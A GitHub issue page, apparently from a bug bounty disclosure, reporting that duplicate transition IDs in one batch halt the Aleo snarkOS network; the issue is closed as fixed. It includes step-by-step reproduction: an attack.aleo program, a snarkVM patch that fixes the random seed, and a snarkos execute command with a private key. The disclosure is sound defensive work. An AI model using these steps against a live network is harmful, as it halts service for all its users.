Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug] Two transactions containing the same transition_id in a single batch will halt the network #2262

Closed
feezybabee opened this issue Dec 20, 2023 · 1 comment · Fixed by #2312
Labels
bug Something isn't working

Comments

@feezybabee
Copy link

https://hackerone.com/reports/2282751

Summary

Two transactions contain the same transition_id in the single batch halt the network

Steps To Reproduce:

1.Deploy a Leo program like below

program attack.aleo {
    transition main() -> public u32 {
        return 1u32;
    }
}

2.Locally patch snarkvm code

https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37

    pub fn execute<R: Rng + CryptoRng>(
        &self,
        private_key: &PrivateKey<N>,
        (program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>),
        inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>,
        fee_record: Option<Record<N, Plaintext<N>>>,
        priority_fee_in_microcredits: u64,
        query: Option<Query<N, C::BlockStorage>>,
        rng: &mut R,
    ) -> Result<Transaction<N>> {
        /// *** Modify ***///
        use rand::SeedableRng;
        let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0);
				/// *** Modify ***///

      	//***Modify `rng` -> `rng_same`***//
        let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?; 
        
        // ....

        //***Modify `rng` -> `rng_same`***//
        let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?;
        // Don't change the `rng` used to generate `fee_transition`  

3.Use the patched snarkvm version to build snarkos

4.Run the scripts twice to generate two transactions.

PROGRAM_NAME=attack.aleo
FUNCTION_NAME=main
PRIVATE_KEY=APrivateKey1zkp8CZNn3yeCseEtxuVPbDCwSyhGW6yZKUYKfgXmcpoGPWH

snarkos developer execute \
--private-key ${PRIVATE_KEY} \
--query ${API_PREFIX} \
--priority-fee 100 $PROGRAM_NAME $FUNCTION_NAME \
--dry-run

5.Two transactions have the same transition_id of main, different transition_id of fee_public

6.Broadcast two transactions at the same time, check the logs:

2023-12-13T06:55:13.976424Z ERROR BFT failed to advance the subdag for round 228 - Found a duplicate transition in block 97

Proof-of-Concept (PoC)

  1. self.ledger.prepare_advance_to_next_quorum_block doesn't check the transactions whether have the same transition_id.
  2. While self.ledger.check_next_block will check whether there are the same transition_ids.When the check fails, the transmissions will be reinserted.
  3. Repeat step 1

Supporting Material/References:

Logs: https://github.com/ghostant-1017/logs/blob/master/log.tar.gz

Impact

The vulnerability will halt the network easily.

@ghostant-1017
Copy link
Contributor

program attack1.aleo {
    transition main() {

    }
}

Program like this can skip the input_id and output_id checks, lead to the same transition_id or tcm.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants